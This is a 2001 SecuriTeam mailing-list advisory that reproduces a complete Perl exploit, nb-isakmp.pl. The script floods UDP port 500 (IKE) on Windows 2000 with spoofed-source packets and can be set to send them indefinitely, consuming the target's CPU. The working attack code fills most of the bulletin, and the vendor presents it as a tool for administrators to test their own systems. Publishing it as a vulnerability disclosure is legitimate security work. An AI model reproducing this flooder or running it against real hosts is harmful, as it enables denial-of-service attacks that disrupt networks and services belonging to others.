[EXPL] Windows 2000 IKE DoS Exploit Code

From: support@securiteam.com
Date: 12/18/01 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 18 Dec 2001 16:18:08 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Windows 2000 IKE DoS Exploit Code
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/6N00G0A3FO.htmlE> UDP DoS Attack
on Windows 2000 IKE, a security vulnerability in the Windows 2000
operating systems allows remote attackers to consume large amount of CPU
time by flooding the IKE port (UDP port 500). The following is an exploit
code that can be used by administrators to test their system for the
mentioned vulnerability.

DETAILS

Exploit:
#!/usr/bin/perl -w
####################################################################
# Author : Nelson Brito
# E-mail : nelson@SEKURE.ORG
# File : nb-isakmp.pl
# Version : 0.3 Alpha
# Country : Brazil
# Date : 12/10/2001
####################################################################
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:T:rL",\%o);$ver="0.3a";$0=~s#.*/##;

print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant
---\n";

$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname:
$!\n");

($o{'s'}&&$o{'d'})||die
"\nUse: $0 [IP Options] [UDP Options]\n\n",
"IP Options:\n",
"\t\t-s*\tsource address to spoof\n",
"\t\t-d*\tdestination address to attack\n",
"\t\t-v\tIP Version\t\t\t\t(def: $v)\n",
"\t\t-t\tIP Type of Service (TOS)\t\t(def: $t)\n",
"\t\t-f\tIP fragementation offset\t\t(def: $f)\n",
"\t\t-T\tIP Time to Live (TTL)\t\t\t(def: $T)\n",
"UDP Options:\n",
"\t\t-p\tdestination port to attack\t\t(def: $p)\n",
"\t\t-l\tpacket length to send\t\t\t(def: $l)\n",
"\t\t-r\tset randon data\t\t\t\t(def: \".\")\n",
"Generic:\n",
"\t\t-n\tnumber of packets to send\t\t(def: $n)\n",
"\t\t-L\tsend packets forever\n\n",
"Copyright © 2000 Nelson Brito <nelson\@SEKURE.ORG>.\n";

while($n > 0){
  $|=1;print".";$sp=int rand 65535;
  $D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
  $nb=new Net::RawIP({
    ip=>
    {
      version=>$v,
      tos=>$t,
      ttl=>$T,
      frag_off=>$f,
      saddr=>$o{'s'},
      daddr=>$o{'d'}
    },
    udp=>
    {
      source=>$sp,
      dest=>$p,
      len=>$l,
      data=>$D
    }
  });
  $nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish!\n";

ADDITIONAL INFORMATION

The information has been provided by
<mailto:Nelson.Brito@TWSecunet.COM.BR> Nelson Brito.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages
Quantcast